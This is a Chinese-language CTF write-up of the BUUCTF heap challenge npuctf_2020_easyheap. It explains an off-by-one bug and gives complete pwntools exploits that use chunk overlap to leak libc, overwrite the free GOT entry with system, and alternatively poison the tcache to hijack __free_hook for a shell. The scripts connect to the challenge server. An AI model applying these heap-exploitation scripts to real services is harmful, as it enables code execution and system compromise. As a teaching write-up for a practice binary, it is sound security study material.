当前位置: 首页 > news >正文

buuctf--npuctf_2020_easyheap

这道题可以说是第一道glibc 2.27的堆题,与2.23不同,因为glibc2.27引入了tcache,当我们释放一个chunk他会进入tcache里面,分配和释放的方式都不一样,接着来看一下这个题

首先查看一下文件相关保护

这里发现之开启了canary和NX,没用开RELRO,所以这里got表是可写的,接着将这个文件丢到ida64里面进行查看

很经典的一个菜单题,接着从create入手来分析这个结构

首先第10行一个遍历查看当前哪一个位置是空的,从而当作一个可以被申请的位置,14行进行申请0x10的chunk,这里这个chunk的地址就是写入在这个(heaparray+i)的位置,然后26行表示这里0x10的这个chunk的后8字节用来存储我们申请chunk的地址,前面8字节用来存储对应chunk的大小。然后34行就是对我们申请的chunk进行写数据。这个函数就是申请两个chunk,一个0x10,一个我们自己输入的并且只能是0x18和0x38.然后这个0x10这个chunk就是用来描述我们申请的chunk的。接着看到edit函数

这里edit函数存在一个off by one的漏洞,我们可以通过多写入一个字节从而修改与这个chunk相邻的下一个chunk的size字段,从而释放进入我们想要的tcache bin里面。

这里show函数18行是根据这个0x10的chunk的第二个8字节来输出内容,这里可以将这个改为got函数地址,从而泄露libc的基址

free函数就是将我们申请的下标置0,然后释放0x10的chunk,释放我们申请的chunk,但是这里是我们申请的chunk先释放,然后后释放0x10这个chunk。但是这里将0x10这个chunk置0了,所以不存在uaf漏洞。

这里的攻击思路就是先申请,然后利用off by one漏洞来修改下一个chunk的大小,然后释放下一个chunk再申请,接着写入got函数地址。

首先先来为每一个功能写一个辅助函数,如下:

def menu(choice): r.recvuntil(b'Your choice :') r.sendline(str(choice).encode()) def add(size,content): menu(1) r.recvuntil(b'Size of Heap(0x10 or 0x20 only) : ') r.sendline(str(size).encode()) r.recvuntil(b'Content:') r.send(content) def edit(index, content): menu(2) r.recvuntil(b'Index :') r.sendline(str(index).encode()) # r.recvuntil(b'text length: ') # r.sendline(str(size).encode()) r.recvuntil(b'Content: ') r.send(content) def show(index): #输出堆块大小和数据 menu(3) r.recvuntil(b'Index :') r.sendline(str(index).encode()) # r.recvuntil(b'Content: \n') def free(index): #先释放我们申请的,后释放0x10,并且我们申请的不会置为0 menu(4) r.recvuntil(b'Index :') r.sendline(str(index).encode())

写好了之后应该就可以写出下面这样的代码:

add(0x18,b'gaoshou') #下标为0 add(0x18,b'gaoshou') #下标为1 payload=b'a'*0x18+b'\x41' #通过off by one漏洞将下一个特征chunk的大小改为0x21,从0x21变成0x41 edit(0,payload) free(1) #释放是先释放我们申请的,然后释放那个特征chunk,这里释放之后tcache里面是一个0x20有一个,0x40有一个,0x20是我们申请的那个chunk,0x40是create函数帮我们申请的0x10对应的chunk add(0x38,b'gaoshou') #这里先申请0x10,然后申请0x38,这样0x38这个chunk的后面0x20就刚好覆盖了这个0x10这个chunk,从而可以将got函数写入我们的特征chunk payload1=b'a'*0x18+p64(0x21)+p64(0x40)+p64(elf.got['free']) edit(1,payload1) show(1) #这里show就会将free函数的got地址里面的值输出,从而可以利用这个泄露libc的基址

这里泄露出libc基址之后,将free函数改为system函数,接着free("/bin/sh")触发getshell,这里就是因为RELRO保护没有开,所以就可以通过复写函数,从而getshell,最后得到poc:

r = remote("node5.buuoj.cn", 29075) libc=ELF(r"C:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-amd64\libc-2.27.so") elf=ELF(r"C:\Users\lezho\Desktop\misc\npuctf_2020_easyheap") add(0x18,b'gaoshou') add(0x18,b'gaoshou') add(0x18,b'/bin/sh\x00') payload=b'a'*0x18+b'\x41' edit(0,payload) free(1) add(0x38,b'gaoshou') #下标为1,申请的0x38完全覆盖下面的0x21chunk,头节点在下 payload1=b'a'*0x18+p64(0x21)+p64(0x40)+p64(elf.got['free']) edit(1,payload1) show(1) r.recvuntil(b'\nContent : ') leak=u64(r.recv(6).ljust(8,b'\x00')) print(hex(leak)) libc.address=leak-libc.symbols['free'] print(hex(libc.address)) edit(1,p64(libc.symbols['system'])) #将free函数改为system函数 free(2) r.interactive()

这里攻击可以实现就是因为RELRO保护没有开,这里如果开了这个保护,就不能这么干了,那么这里就可以换一种攻击,也就是glibc2.27最经典的tcache dup。通过将一个tcache里面bin的fd改为free_hook,然后将system这个函数地址写入free_hook,最后system(/bin/sh) get shell

r = remote("node5.buuoj.cn", 29075) libc=ELF(r"C:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-amd64\libc-2.27.so") elf=ELF(r"C:\Users\lezho\Desktop\misc\npuctf_2020_easyheap") add(0x18,b'gaoshou') add(0x18,b'gaoshou') add(0x18,b'/bin/sh\x00') payload=b'a'*0x18+b'\x41' edit(0,payload) free(1) add(0x38,b'gaoshou') #下标为1,申请的0x38完全覆盖下面的0x21chunk,头节点在下 payload1=b'a'*0x18+p64(0x21)+p64(0x40)+p64(elf.got['free'])+p64(0)+b'\x41' edit(1,payload1) show(1) r.recvuntil(b'\nContent : ') leak=u64(r.recv(6).ljust(8,b'\x00')) print(hex(leak)) libc.address=leak-libc.symbols['free'] print(hex(libc.address)) free_hook=libc.symbols['__free_hook'] system_addr=libc.symbols['system'] free(2) #将2进行释放 释放之后bin里面有一个0x41的chunk和一个0x21的chunk free(0) #将0释放,bin里面会多2个0x20的chunk add(0x38,b'gaoshou') #下标为0 add(0x38,b'/bin/sh\x00') #申请之后bin里面只有一个0x21的chunk,刚好是上面的0x41chunk的下半截 payload2=b'a'*0x18+p64(0x21)+p64(free_hook) edit(0,payload2) add(0x18,p64(system_addr)) #在free_hook里面写下system函数 free(2) #free触发攻击 r.interactive()

这个攻击就是先泄露libc的基址,然后再次利用off by one的漏洞,实现空间重叠,然后payload2修改释放进入tcache里面的chunk的fd,然后两次申请,最后将system_addr写入free_hook。最后触发

这个后面这个poc应该是通用的,可以绕过RELRO这个保护

http://www.jsqmd.com/news/360230/

相关文章:

  • 2026年靠谱的东莞便携式接触角测量仪/一键式接触角测量仪厂家热销推荐 - 品牌宣传支持者
  • 2026年倍克朗口碑如何详细解读,江苏泳池漆品牌靠谱排名 - mypinpai
  • 完整教程:多智能体框架调研:10个主流 AI Agent 框架
  • 2026年知名的厂房节能改造政府补贴政策/厂房节能改造怎么选直销厂家价格参考 - 品牌宣传支持者
  • 2026年大型乘务管理学校费用,上海优质学校排名 - 工业推荐榜
  • 2026后期制作精良的宣传片制作公司推荐 - 品牌排行榜
  • 01 环境配置
  • 上海高性价比焊工技术培训学校怎么选,为你支招 - myqiye
  • 2026能根据客户需求定制方案的宣传片制作公司推荐 - 品牌排行榜
  • 分析2026年值得推荐的燃气锅炉制造商,远大锅炉优势尽显 - 工业品牌热点
  • 26寒假S基础集训
  • 聊聊广州比较不错的CE认证企业,专业CE认证机构推荐 - 工业设备
  • 2026年口碑好的环保水性漆/水性漆实力工厂参考哪家靠谱(高评价) - 品牌宣传支持者
  • 2026小容量电炖盅品牌推荐:高口碑款选购参考 - 品牌排行榜
  • 聊聊旅游租车选哪家好,杭州佳程汽车服务性价比超突出 - 工业品网
  • llms.txt 帮助大模型理解站点的协议
  • 2026工业级三维扫描仪哪个牌子好?十大品牌综合评测与选购指南 - 匠言榜单
  • 2026年评价高的不锈钢切割圆锯机床/高硬金属加工圆锯机床厂家选择参考建议 - 品牌宣传支持者
  • 2026年热门的全自动精密倒角机/双头精密倒角机厂家选购参考汇总 - 品牌宣传支持者
  • 2026婴儿辅食电炖锅哪个牌子好?宝妈实测口碑推荐 - 品牌排行榜
  • 2026空气炸锅哪个品牌质量比较好?真实体验与品牌解析 - 品牌排行榜
  • PHP 应用遭遇 DDoS 攻击时会发生什么 从入门到进阶的防护指南
  • 2026宝宝辅食锅煮粥哪个牌子好?新手妈妈实用攻略 - 品牌排行榜
  • 2026空气炸锅哪个牌子好用?高口碑品牌推荐 - 品牌排行榜
  • 2026上海广告位公司推荐:聚焦商圈户外LED广告服务 - 品牌排行榜
  • 2026上海地标广告位公司哪家专业?行业实力机构推荐 - 品牌排行榜
  • 2026上海户外广告位哪家好?核心商圈资源推荐 - 品牌排行榜
  • 2026上海商圈广告位公司推荐榜:核心资源与服务能力解析 - 品牌排行榜
  • 2026上海商场广告位出租公司有哪些?行业精选推荐 - 品牌排行榜
  • 2026年个人借贷平台推荐:合规借贷服务选择指南 - 品牌排行榜